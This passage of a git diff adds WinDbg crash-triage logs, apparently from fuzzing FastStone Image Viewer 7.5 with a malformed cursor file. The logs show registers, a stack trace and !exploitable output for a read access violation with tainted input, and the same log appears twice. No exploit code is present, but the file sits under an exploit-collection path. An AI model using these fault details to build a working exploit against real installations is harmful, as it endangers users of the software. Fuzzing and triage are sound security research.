SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719c0000 00000000`71b59000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f98.c30): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00002d2d ecx=080d55b0 edx=00003879 esi=14e295d0 edi=11718fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.831119044340368480000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 2.731491700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-7.14959e+011 -0.256385 -473.999 -1.25267e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081b8130 08135930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00324000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00324000 165ffbf7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0bb 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00324000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9c9c2e4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/WindowsDebugEngine_description.txt @@ -0,0 +1,210 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719c0000 00000000`71b59000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f98.c30): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00002d2d ecx=080d55b0 edx=00003879 esi=14e295d0 edi=11718fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.831119044340368480000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 2.731491700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-7.14959e+011 -0.256385 -473.999 -1.25267e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081b8130 08135930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00324000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00324000 165ffbf7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0bb 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00324000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc 